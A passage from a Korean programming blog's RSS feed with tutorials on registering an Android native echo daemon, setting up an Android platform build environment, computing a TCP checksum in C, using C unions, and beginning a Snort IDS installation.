<p>이제 echo.c라는 소스 파일과 파일을 빌드하는 방법을 Android.mk 파일에 적어 주었다. 이제는 Builder가 android platform을 컴파일 할때 echo-daemon을 빌드하도록 알려주어야 한다. {platform_src}/build 에는 Android를 빌드할 때 필요한 파일들이 모여 있다. 대략 내용을 살펴 보면 아래와 같다.</p>
<ul>
<li>{platform_src}/build/core &lt;- Android platform의 core 영역(반드시 필요한 package 또는 library, etc.)</li>
<li>{platform_src}/target/board &lt;- hardware에 종속적인 영역</li>
<li>{platform_src}/target/product &lt;- platform을 빌드 후 포함할 필요한 package를 선언 하거나 sign 방법을 기술</li>
<li>{platform_src}/tools &lt;- 빌드에 필요한 여러가지 툴</li>
</ul>
<p>Builder가 android 빌드시 위에 작성한 echo-daemon을 포함하도록 mydroid/build/core/user_tags.mk에 기술한다.</p>
<blockquote><p>GRANDFATHERED_USER_MODULES += 항목에 echo-daemon을 포함한다.</p></blockquote>
<p>안드로이드에서 서비스 데몬을 등록하는 방법은 init.rc 파일에 기술하도록 되어있다. init은 kernel이 부팅시 가장먼저 실행 시키는 pid 1번을 가지는 첫번째 프로세스로 디바이스를 초기화 하고 서비스를 시작하는 등 초기화에 필요한 작업을 수행하며 그 방법은 init.rc파일에 기술되어 있다. init.rc는 linux와는 조금 다르게 Android Init Language로 작성되어 있다. 자세한 내용은 {platform_src}/system/init/readme.txt 파일을 읽어보자.</p>
<p>{platform_src}/system/core/rootdir에 보면 init.rc 파일이 있다.   이 부분에 서비스를 등록한다.</p>
<blockquote>
<pre>service echod /system/bin/echo-daemon
	group net_admin
	disabled
	oneshot</pre>
</blockquote>
<p>서비스를 echod라는 이름으로 등록하였고 실행 user는 생략시 root로 실행된다. group는 net_admin으로 실행되며 disabled는 부팅시 서비스를 실행하지 않도록 하는 옵션이며 oneshot는 service가 종료될 시 재시작하지 않도록 하는 옵션이다.</p>
<p>mydroid를 빌드한다. 자세한 빌드 옵션은 <a href="http://source.android.com/source/building.html">http://source.android.com/source/building.html</a>를 참조하자.</p>
<blockquote><p>$ cd ~/android/mydroid<br />
$ source build/env﻿setup.sh<br />
$ lunch full-eng<br />
$ make</p></blockquote>
<p>오류가 없이 빌드가 완료되면 {platform_src}/out/target/product/generic/system/bin 디렉토리에 echo-daemon 이라는 바이너리가 생성이 되었을 것이다.</p>
<p>정상적으로 실행이 되는 지 emulator를 띄워서 확인을 해보자.</p>
<blockquote><p>$ cd ~/android/mydroid<br />
$ emulator</p></blockquote>
<p>디버그 로그를 확인 하기 위해서는 ddms를 띄워서 확인 할 수 있다.</p>
<blockquote><p>$ ddms</p></blockquote>
<p>adb shell을 띄워 start, stop 명령으로 서비스가 제대로 동작하는지 확인하자. ps명령으로 현재 실행되는 프로세스를 확인할 수 있다.</p>
<blockquote><p>$ adb shell<br />
# start echod<br />
# stop echod</p></blockquote>
<p>android emulator의 경우 IP로 직접 접근할 수 있는 방법 대신에 port forwarding으로 접속할 수 있다. adb 명령을 이용하여 tcp port 7번을 localhost의 6666번으로 포워딩 하여 echo 서비스에 정상적으로 접속할 수 있는 지 확인하자</p>
<blockquote><p>$ adb forward tcp:6666 tcp:7<br />
$ telnet localhost 6666</p></blockquote>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/helloEcho.png"></a><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/helloEcho.png" rel="lightbox[334]" title="helloEcho"><img class="aligncenter size-full wp-image-375" title="helloEcho" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/helloEcho.png" alt="" width="667" height="447" /></a></p>
<p>이로써 Android platform에 서비스를 등록하는 방법을 알아보았다. 다음은 android service application을 작성하여 daemon을 제어하는 방법을 포스팅 할 예정이다.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=334</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android platform 개발 환경 구성</title>
		<link>http://www.onurmark.co.kr/?p=325</link>
		<comments>http://www.onurmark.co.kr/?p=325#comments</comments>
		<pubDate>Wed, 10 Aug 2011 03:09:10 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[build]]></category>
		<category><![CDATA[eclipse]]></category>
		<category><![CDATA[platform]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=325</guid>
		<description><![CDATA[개요 Android 응용프로그램을 개발하기 위해서는 SDK와 NDK만으로 충분하다. 여기에 설명하는 내용은 안드로이드 platform을 장비에 포팅하거나 패키지 내용을 수정하는 등 안드로이드 platform 자체를 변형 하기 위한 것이다. 개발환경 Ubuntu 11.04 64bit 설치 될 위치 ~/android/mydroid &#60;- android platform sources ~/android/eclipse ~/android/workspace &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=325">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<div>
<h3>개요</h3>
<p>Android 응용프로그램을 개발하기 위해서는 SDK와 NDK만으로 충분하다. 여기에 설명하는 내용은 안드로이드 platform을 장비에 포팅하거나 패키지 내용을 수정하는 등 안드로이드 platform 자체를 변형 하기 위한 것이다.</p>
<h3>개발환경</h3>
<blockquote><p>Ubuntu 11.04 64bit</p></blockquote>
<h3>설치 될 위치</h3>
<blockquote><p>~/android/mydroid &lt;- android platform sources<br />
~/android/eclipse<br />
~/android/workspace</p></blockquote>
<h3>JDK 설치</h3>
<blockquote><p># JDK의 repository를 추가 후 설치한다.<br />
$ sudo add-apt-repository &#8220;deb http://archive.canonical.com/ lucid partner&#8221;<br />
$ sudo add-apt-repository &#8220;deb-src http://archive.canonical.com/ubuntu lucid partner&#8221;<br />
$ sudo apt-get update<br />
$ sudo apt-get install sun-java6-jdk</p></blockquote>
<h3>필수 패키지 설치</h3>
<blockquote><p>$ sudo apt-get install git-core gnupg flex bison gperf \<br />
build-essential zip curl zlib1g-dev libc6-dev \<br />
lib32ncurses5-dev ia32-libsx11proto-core-dev \<br />
libx11-dev lib32readline5-dev lib32z-dev \<br />
libgl1-mesa-dev g++-multilib mingw32 tofrodos</p></blockquote>
<h3>Eclipse classic 설치</h3>
<p>eclipse 다운로드: http://www.eclipse.org/downloads/<br />
다운로드 받은 eclipse를 ~/android/eclipse에 압축 해제</p>
<blockquote><p>$ tar -xvzf eclipse-SDK-3.7-linux-gtk-x86_64.tar.gz -C ~/android</p></blockquote>
<h3>repo 설치</h3>
<p>Android open source는 git을 이용하여 버전을 관리하고 있다. 이를 쉽게 다루기 위한 repo 툴을 설치한다.</p>
<blockquote><p>$ mkdir ~/bin<br />
$ PATH=~/bin:$PATH<br />
$ curl https://android.git.kernel.org/repo &gt; ~/bin/repo<br />
$ chmod a+x ~/bin/repo</p></blockquote>
<h3>platform 다운로드</h3>
<p>working directory를 생성하고 android open source를 다운로드 받는다.</p>
<blockquote><p>$ mkdir ~/android/mydroid<br />
$ cd ~/android/mydroid<br />
# repo 툴을 이용하여 다운로드 받을 branche를 설정한다. 예제는 gingerbread를 다운로드 한다.<br />
$ repo init -u git://android.git.kernel.org/platform/manifest.git -b gingerbread<br />
# repository에서 파일을 동기화한다.<br />
$ repo sync</p></blockquote>
<h3>GnuPG 공개키 설정</h3>
<p>Git에 위치한 tag를 verify 하기 위해 GnuPG key database에 공개키를 입력한다.</p>
<blockquote><p>$ gpg &#8211;import</p></blockquote>
<p>아래의 공개키를 복사하여 붙여 넣은 후 엔터를 누르고 ctrl + D를 입력한다.</p>
<blockquote>
<pre><code>-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

mQGiBEnnWD4RBACt9/h4v9xnnGDou13y3dvOx6/t43LPPIxeJ8eX9WB+8LLuROSV
lFhpHawsVAcFlmi7f7jdSRF+OvtZL9ShPKdLfwBJMNkU66/TZmPewS4m782ndtw7
8tR1cXb197Ob8kOfQB3A9yk2XZ4ei4ZC3i6wVdqHLRxABdncwu5hOF9KXwCgkxMD
u4PVgChaAJzTYJ1EG+UYBIUEAJmfearb0qRAN7dEoff0FeXsEaUA6U90sEoVks0Z
wNj96SA8BL+a1OoEUUfpMhiHyLuQSftxisJxTh+2QclzDviDyaTrkANjdYY7p2cq
/HMdOY7LJlHaqtXmZxXjjtw5Uc2QG8UY8aziU3IE9nTjSwCXeJnuyvoizl9/I1S5
jU5SA/9WwIps4SC84ielIXiGWEqq6i6/sk4I9q1YemZF2XVVKnmI1F4iCMtNKsR4
MGSa1gA8s4iQbsKNWPgp7M3a51JCVCu6l/8zTpA+uUGapw4tWCp4o0dpIvDPBEa9
b/aF/ygcR8mh5hgUfpF9IpXdknOsbKCvM9lSSfRciETykZc4wrRCVGhlIEFuZHJv
aWQgT3BlbiBTb3VyY2UgUHJvamVjdCA8aW5pdGlhbC1jb250cmlidXRpb25AYW5k
cm9pZC5jb20+iGAEExECACAFAknnWD4CGwMGCwkIBwMCBBUCCAMEFgIDAQIeAQIX
gAAKCRDorT+BmrEOeNr+AJ42Xy6tEW7r3KzrJxnRX8mij9z8tgCdFfQYiHpYngkI
2t09Ed+9Bm4gmEO5Ag0ESedYRBAIAKVW1JcMBWvV/0Bo9WiByJ9WJ5swMN36/vAl
QN4mWRhfzDOk/Rosdb0csAO/l8Kz0gKQPOfObtyYjvI8JMC3rmi+LIvSUT9806Up
hisyEmmHv6U8gUb/xHLIanXGxwhYzjgeuAXVCsv+EvoPIHbY4L/KvP5x+oCJIDbk
C2b1TvVk9PryzmE4BPIQL/NtgR1oLWm/uWR9zRUFtBnE411aMAN3qnAHBBMZzKMX
LWBGWE0znfRrnczI5p49i2YZJAjyX1P2WzmScK49CV82dzLo71MnrF6fj+Udtb5+
OgTg7Cow+8PRaTkJEW5Y2JIZpnRUq0CYxAmHYX79EMKHDSThf/8AAwUIAJPWsB/M
pK+KMs/s3r6nJrnYLTfdZhtmQXimpoDMJg1zxmL8UfNUKiQZ6esoAWtDgpqt7Y7s
KZ8laHRARonte394hidZzM5nb6hQvpPjt2OlPRsyqVxw4c/KsjADtAuKW9/d8phb
N8bTyOJo856qg4oOEzKG9eeF7oaZTYBy33BTL0408sEBxiMior6b8LrZrAhkqDjA
vUXRwm/fFKgpsOysxC6xi553CxBUCH2omNV6Ka1LNMwzSp9ILz8jEGqmUtkBszwo
G1S8fXgE0Lq3cdDM/GJ4QXP/p6LiwNF99faDMTV3+2SAOGvytOX6KjKVzKOSsfJQ
hN0DlsIw8hqJc0WISQQYEQIACQUCSedYRAIbDAAKCRDorT+BmrEOeCUOAJ9qmR0l
EXzeoxcdoafxqf6gZlJZlACgkWF7wi2YLW3Oa+jv2QSTlrx4KLM=
=Wi5D
-----END PGP PUBLIC KEY BLOCK-----</code></pre>
</blockquote>
<h2>Eclipse platform 빌드 환경 구성</h2>
<p>Java build path를 잡기 위해 .classpath 파일이 필요하다. development/ide/eclipse/.classpath 파일을 사용한다.</p>
<blockquote><p>$ cd ~/android/mydroid<br />
$ cp development/ide/eclipse/.classpath .<br />
$ chmod u+w .classpath</p></blockquote>
<h2>Android platform 빌드하기</h2>
<p>eclipse에 Import 하기 전 반드시 빌드를 해야 한다. 자세한 옵션은 http://source.android.com/source/building.html를 참고하라.</p>
<blockquote><p>$ cd ~/android/mydroid<br />
$ . build/envsetup.sh<br />
$ lunch full-eng</p></blockquote>
<h3>eclipse memory 사용량 증가 시키기</h3>
<p>Android platform 크기가 커서 eclipse가 컴파일 중 out of memory가 발생할 경우가 있다. 이를 방지하기 위해 eclipse의 vm의 크기를 늘린다.</p>
<blockquote><p># ~/android/eclipse/eclipse.ini의 내용 중 다음 항목을 수정<br />
&#8211;launcher.XXMaxPermSize<br />
256M<br />
-Xms128m<br />
-Xmx512m</p></blockquote>
<p>Eclipse에 할당된 Java heap의 사이즈를 최소 128MB에서 최대 512MB까지 할당하고 Maximun Permanent Generation의 크기를 512MB로 설정한다.</p>
<h3>프로젝트 Import 하기</h3>
<p>1. File &gt; New -&gt; Java Project 새로운 JAVA Project를 생성한다.(Android 프로젝트가 아니다.)<br />
2. Project name에 Mydroid를 입력하고 Use default location을 체크 해제 한 후 Location:을 ~/android/mydroid 로 설정한다.</p>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/Screenshot-New-Java-Project-1.png" rel="lightbox[325]" title="Screenshot-New Java Project"><img class="aligncenter size-full wp-image-328" title="Screenshot-New Java Project" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/Screenshot-New-Java-Project-1.png" alt="" width="625" height="865" /></a><br />
3. Finish를 클릭.</p>
<p>이로써 Android platform을 개발하기 위한 환경 구성이 완료되었다.</p>
<hr />
<p>참조: <a href="http://source.android.com/">http://source.android.com/</a></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=325</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android native daemon</title>
		<link>http://www.onurmark.co.kr/?p=313</link>
		<comments>http://www.onurmark.co.kr/?p=313#comments</comments>
		<pubDate>Wed, 10 Aug 2011 01:59:28 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[native daemon]]></category>
		<category><![CDATA[platfrom]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[SystemProperties]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=313</guid>
		<description><![CDATA[Android 플랫폼에서 native daemon을 작성하고 daemon을 컨트롤 할 수 있는 service와 application을 작성하기 위한 기술들과 활용법에 대해서 설명한다. POST CONTENTS Android platform 개발환경 구성 Native daemon 작성 및 platform에 등록 Service 프로그램과 Bind RMI (미작성) Control 프로그램 작성 (미작성) BASIC &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=313">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>Android 플랫폼에서 native daemon을 작성하고 daemon을 컨트롤 할 수 있는 service와 application을 작성하기 위한 기술들과 활용법에 대해서 설명한다.</p>
<h2>POST CONTENTS</h2>
<ol>
<li><a title="Android platform 개발환경 구성" href="http://www.onurmark.co.kr/?p=325">Android platform 개발환경 구성</a></li>
<li><a title="Native daemon 작성 및 platform에 등록" href="http://www.onurmark.co.kr/?p=334">Native daemon 작성 및 platform에 등록</a></li>
<li>Service 프로그램과 Bind RMI (미작성)</li>
<li>Control 프로그램 작성 (미작성)</li>
</ol>
<h2>BASIC STRUCTURE</h2>
<p style="text-align: center;">﻿<a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/structure.png" rel="lightbox[313]" title="structure"><img class="size-full wp-image-315 aligncenter" title="structure" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/structure.png" alt="" width="536" height="359" /></a></p>
<p>Echo daemon은 native로 만들어진 프로그램(이 포스트에서는 C로 짜여진 echo 프로그램)으로 tcp port 7번으로 메시지를 보내면 이를 되돌려주는 간단한 데몬이다. 이 echo daemon을 컴파일 하는 방법과  android platform에 등록하는 방법을 설명할 예정이다.</p>
<p>Echo Service는 echo daemon을 컨트롤 하기 위한 Andorid service로 echo daemon을 시작하고 중지, 상태를 얻는 방법에 대해 설명한다.  Android에서는 SystemProperties를 이용하여 시스템에 있는 daemon을 컨트롤 할 수 있다. 이 영역은 Android SDK와 NDK를 이용해서는 접근할 수 없기 때문에 platform 자체에 구현을 해주어야 한다. 이를 위해서는 Android platform 소스가 필요하다.</p>
<p>EchoServiceBinder는 EchoService와 EchoApplication을 연결해주는 징검다리의 역할을 한다. Echo service와 EchoApplication은 다른 process로 동작하기 때문에 Android에서 사용하는 IPC(Inter Process Communication) 중 하나인 Bind라는 RMI(Remote Method Invocation)를 사용하여 EchoApplication이 EchoService에 있는 method를 호출 가능하게 한다.</p>
<p>EchoApplication은 사용자가 볼 수 있는 UI로 EchoService를 제어한다.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=313</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TCP checksum의 계산</title>
		<link>http://www.onurmark.co.kr/?p=217</link>
		<comments>http://www.onurmark.co.kr/?p=217#comments</comments>
		<pubDate>Tue, 18 Jan 2011 02:15:01 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[C,C++]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[pseudo header]]></category>
		<category><![CDATA[TCP checksum]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=217</guid>
		<description><![CDATA[Checksum 이란? 체크섬(checksum)은 중복 검사의 한 형태로, 오류 정정을 통해, 공간(전자 통신)이나 시간(기억 장치) 속에서 송신된 자료의 무결성을 보호하는 단순한 방법이다. 기본적인 메시지 구성 요소(보통 비트) 를 추가하여 결과값을 저장함으로써 동작한다. 나중에 누구나 데이터에 같은 작업을 수행할 수 있고, 무결성 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=217">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h2>Checksum 이란?</h2>
<hr />
<blockquote><p>체크섬(checksum)은 중복 검사의 한 형태로, 오류 정정을 통해, 공간(전자 통신)이나 시간(기억 장치) 속에서 송신된 자료의 무결성을 보호하는 단순한 방법이다.</p>
<p>기본적인 메시지 구성 요소(보통 비트) 를 추가하여 결과값을 저장함으로써 동작한다. 나중에 누구나 데이터에 같은 작업을 수행할 수 있고, 무결성 검사에 대한 결과를 비교할 수 있으며, (체크섬이 맞아 떨어지는지 확인해 봄으로써) 메시지가 손상되지 않았다고 결론을 내릴 수도 있다.</p>
<p>출처: <a href="http://ko.wikipedia.org/wiki/%EC%B2%B4%ED%81%AC%EC%84%AC" target="_blank">위키백과</a></p></blockquote>
<h2>TCP Checksum의 계산</h2>
<hr />
<p style="text-align: center;"><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/01/TCP-pseudo-header.png" rel="lightbox[217]" title="TCP pseudo header"><img class="aligncenter size-full wp-image-256" title="TCP pseudo header" src="http://www.onurmark.co.kr/wp-content/uploads/2011/01/TCP-pseudo-header.png" alt="" width="585" height="456" /></a></p>
<p>TCP checksum을 계산하기 위해서는 pseudo header라는 것이 필요하다. pseudo header는 TCP의 checksum을 계산하기 위해서 필요한 추가적인 데이터로 다음과 같은 정보를 포함한다.</p>
<ul>
<li>Source address: IP 헤더의 source address에서 추출</li>
<li>Destination Address: IP 헤더의 dest address에서 추출</li>
<li>Reserved: 나중을 위해서 예약된 필드(0&#215;00)</li>
<li>Protocol: IP헤더의 Protocol에서 추출</li>
<li>TCP Segment length: TCP header + data의 길이</li>
</ul>
<p>TCP checksum필드를 0&#215;00으로 채워 넣은뒤 pseudo header + TCP header + DATA의 Checksum을 계산하면 TCP의 checksum 값을 구할 수 있다.</p>
<h2>Example</h2>
<hr />목적지 주소가 192.168.0.20, 80포트이고 출발지 주소가 192.168.0.10, 23000포트인 TCP syn 패킷을 만들어서 checksum값을 계산하는 예제이다.</p>
<pre class="brush: cpp; title: ; notranslate">
/*
 * Copyright (c) 2011 Jae-young, Park &lt;onurmark1@gmail.com&gt;
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include &lt;stdio.h&gt;
#include &lt;memory.h&gt;
#include &lt;netdb.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;netinet/tcp.h&gt;

struct pseudohdr
{
    struct in_addr saddr;
    struct in_addr daddr;
    unsigned char zero;
    unsigned char protocol;
    unsigned short length;
    struct tcphdr tcpheader;
}__attribute__((packed));

unsigned short checksum(unsigned short *buf, int len)
{
    register unsigned long sum = 0;

    while(len--)
        sum += *buf++;

    sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);
    sum += (sum &gt;&gt; 16);

    return (unsigned short)(~sum);
}

int main(int argc, char **argv)
{
    char buffer[1024];

    struct iphdr *ipheader = (struct iphdr *)buffer;
    struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct iphdr));
    struct pseudohdr pheader;

    // Initialize set zero
    memset(buffer, 0x00, sizeof(struct iphdr) + sizeof(struct tcphdr));

    // set IP header
    ipheader-&gt;version    = 4;
    ipheader-&gt;ihl        = sizeof(struct iphdr) &gt;&gt; 2;
    ipheader-&gt;tot_len    = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
    ipheader-&gt;ttl        = 255;
    ipheader-&gt;protocol   = IPPROTO_TCP;
    ipheader-&gt;saddr      = inet_addr(&quot;192.168.0.10&quot;);
    ipheader-&gt;daddr      = inet_addr(&quot;192.168.0.20&quot;);

    // set TCP header
    tcpheader-&gt;source    = htons(23000);
    tcpheader-&gt;dest      = htons(80);
    tcpheader-&gt;seq       = htonl(0xEFC);
    tcpheader-&gt;syn       = 1;
    tcpheader-&gt;doff      = sizeof(struct tcphdr) &gt;&gt; 2;
    tcpheader-&gt;window    = htons(2048);

    // set pseudo header
    pheader.saddr.s_addr = ipheader-&gt;saddr;
    pheader.daddr.s_addr = ipheader-&gt;daddr;
    pheader.protocol     = ipheader-&gt;protocol;
    pheader.length       = htons(sizeof(struct tcphdr));
    memcpy(&amp;pheader.tcpheader, tcpheader, sizeof(struct tcphdr));

    // calculate TCP checksum
    tcpheader-&gt;check = checksum((unsigned short *)&amp;pheader, sizeof(struct pseudohdr) / sizeof(unsigned short));

    printf(&quot;TCP checksum: 0x%04x\n&quot;, tcpheader-&gt;check);

    return 0;
}
</pre>
<h2>참조</h2>
<hr /><a title="The TCP/IP Guide" href="http://www.tcpipguide.com/free/t_TCPChecksumCalculationandtheTCPPseudoHeader.htm" target="_blank">The TCP/IP Guide</a><br />
<a title="checksum" href="http://en.wikipedia.org/wiki/Checksum">WIKIPEDIA checksum</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=217</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C에서의 Union(공용체)의 사용</title>
		<link>http://www.onurmark.co.kr/?p=197</link>
		<comments>http://www.onurmark.co.kr/?p=197#comments</comments>
		<pubDate>Fri, 08 Oct 2010 01:00:01 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[C,C++]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c union]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=197</guid>
		<description><![CDATA[UNION C에서는 공용체라 부르는 특수한 타입이 있다. 공용체의 멤버로 선언된 변수들은 메모리 어드레스를 공유하게 된다. 어찌보면 별 필요없는 기능이라고 생각될 수도 있지만 메시지를 만들어 데이터를 읽고 쓰는데는 아주 유용한 기능이다. 선언 및 사용 union의 선언 방법은 struct와 동일하다. 출력 결과를 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=197">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h3>UNION</h3>
<p>C에서는 공용체라 부르는 특수한 타입이 있다. 공용체의 멤버로 선언된 변수들은 메모리 어드레스를 공유하게 된다. 어찌보면 별 필요없는 기능이라고 생각될 수도 있지만 메시지를 만들어 데이터를 읽고 쓰는데는 아주 유용한 기능이다.</p>
<h3>선언 및 사용</h3>
<p>union의 선언 방법은 struct와 동일하다.</p>
<pre class="brush: cpp; title: ; notranslate">
union simple_message {
int a;
int b;
};

int main(int argc, char **argv)
{
union simple_message smessage;
smessage.a = 1;

printf(&quot;smessage.a: %d\n&quot;, smessage.a);
printf(&quot;smessage.b: %d\n&quot;, smessage.b);
}
</pre>
</pre>
<p>출력 결과를 보면 공용체 smessage의 멤버 a의 값과 b의 값이 동일한 것을 볼 수 있다. 멤버 a의 값이 변경된 것이 b에도 적용된 것 처럼 보이지만 사실은 공용체 멤버 a와 b가 동일한 메모리 주소를 공유하고 있는 것이다.</p>
<h3>Example</h3>
<p><img src="file:///C:/Users/onurmark/AppData/Local/Temp/moz-screenshot.png" alt="" /><img src="file:///C:/Users/onurmark/AppData/Local/Temp/moz-screenshot-1.png" alt="" /></p>
<pre><a href="http://www.onurmark.co.kr/wp-content/uploads/2010/10/memory_map.png" rel="lightbox[197]" title="memory_map"><img class="alignnone size-full wp-image-207" title="memory_map" src="http://www.onurmark.co.kr/wp-content/uploads/2010/10/memory_map.png" alt="" width="547" height="45" /></a>
</pre>
<p>위와 같은 데이터를 읽고 쓴다고 하자. 4 bytes 데이터 이므로 int 값에 bit 연산으로 데이터를 채워 넣는 방법을 쓸  수도 있지만 가독성이 떨어지며 코드길이가 길어져 한참후에 코드를 들여다 봤을 때 이해하는 것이 불가능해 질 수도 있다. 하지만  union을 사용하면 데이터를 다루기도 쉽고 이해하기도 편리하다는 것을 깨닫게 될 것이다.</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;memory.h&gt;

struct regdata {
 __u16 opcode:4;
 __u16 prtaddr:5;
 __u16 regaddr:5;
 __u16 ta:2;
 __u16 data;
} __attribute__((packed));

union data {
 struct regdata reg0;
 __u32 rdata;
};

int main(int argc, char** argv)
{
 union data message;

 memset(&amp;message, 0x0, sizeof(union data));
 message.reg0.opcode = 0x4;
 message.reg0.regaddr = 0x3;
 message.reg0.data = 0xE8A3;

 printf(&quot;message: %08x\n&quot;, message.rdata);

 return 0;
}
</pre>
</pre>
<p>실행결과는 message: e8a30604 이다. intel 시스템일 경우 little endian을 사용함으로 big endian으로 읽어보면 제대로데이터가 들어간 것을 알 수 있다.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=197</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snort를 이용한 네트워크 침입탐지 시스템(IDS) 구축하기</title>
		<link>http://www.onurmark.co.kr/?p=171</link>
		<comments>http://www.onurmark.co.kr/?p=171#comments</comments>
		<pubDate>Fri, 10 Sep 2010 01:56:08 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[adodb]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[BASE]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[snort]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=171</guid>
		<description><![CDATA[참조 http://blog.naver.com/nonce4?Redirect=Log&#38;logNo=140028166905 http://dan.drydog.com/apache2php.html Snort 는 네트워크 침입탐지 프로그램으로 libpcap 라이브러리를 사용하여 네트워크 패킷을 검사하여 불법적인 네트워크 접근이나 스니핑, 스캔 등등 네트워크 공격을 탐지하는 툴이다. 전세계적으로 가장 많이 사용되는 IDS로써 사실표준(De facto)이다. (자세한 정보: http://www.snort.org/) 네트워크 구성 위와 같이 DMZ 구역에 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=171">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h3>참조</h3>
<ul>
<li><a href="http://blog.naver.com/nonce4?Redirect=Log&amp;logNo=140028166905">http://blog.naver.com/nonce4?Redirect=Log&amp;logNo=140028166905</a></li>
<li><a href="http://dan.drydog.com/apache2php.html">http://dan.drydog.com/apache2php.html</a></li>
</ul>
<hr />
Snort 는 네트워크 침입탐지 프로그램으로 libpcap 라이브러리를 사용하여 네트워크 패킷을 검사하여 불법적인 네트워크 접근이나 스니핑,  스캔 등등 네트워크 공격을 탐지하는 툴이다. 전세계적으로 가장 많이 사용되는 IDS로써 사실표준(De facto)이다. (자세한  정보: <a href="http://www.snort.org/">http://www.snort.org/</a>)</p>
<h3>네트워크 구성</h3>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2010/09/XOiM4awyGS.jpg" rel="lightbox[171]" title="설치 구성도"><img class="alignnone size-full wp-image-173" title="설치 구성도" src="http://www.onurmark.co.kr/wp-content/uploads/2010/09/XOiM4awyGS.jpg" alt="설치 구성도" width="529" height="317" /></a></p>
<p>위와 같이 DMZ 구역에 설치 할 예정이며 외부에서 들어온 패킷들 중 방화벽을 통과한 트래픽에 대하여 침입탐지를 수행하게 된다.</p>
<hr />
<h3>필요한 라이브러리</h3>
<blockquote><p>libpcap(패킷 캡춰 라이브러리) 다운로드: <a href="http://www.tcpdump.org/">http://www.tcpdump.org</a><br />
pcre(Perl 호환 정규식 라이브러리) 다운로드: <a href="http://www.pcre.org/">http://www.pcre.org</a></p></blockquote>
<h3>어플리케이션</h3>
<blockquote><p>Snort 다운로드: <a href="http://www.snort.org/">http://www.snort.org</a><br />
Snortrules 다운로드: <a href="http://www.snort.org/">http://www.snort.org</a><br />
Apache 다운로드: <a href="http://www.apache.org/">http://www.apache.org</a><br />
PHP 다운로드: <a href="http://www.php.org/">http://www.php.org</a><br />
MySQL 다운로드: <a href="http://www.mysql.org/">http://www.mysql.org</a><br />
ADODB(php로 작성된 ADO객체): <a href="http://sourceforge.net/projects/adodb/">http://sourceforge.net/projects/adodb/</a><br />
BASE 다운로드: <a href="http://sourceforge.net/projects/secureideas/">http://sourceforge.net/projects/secureideas/</a></p></blockquote>
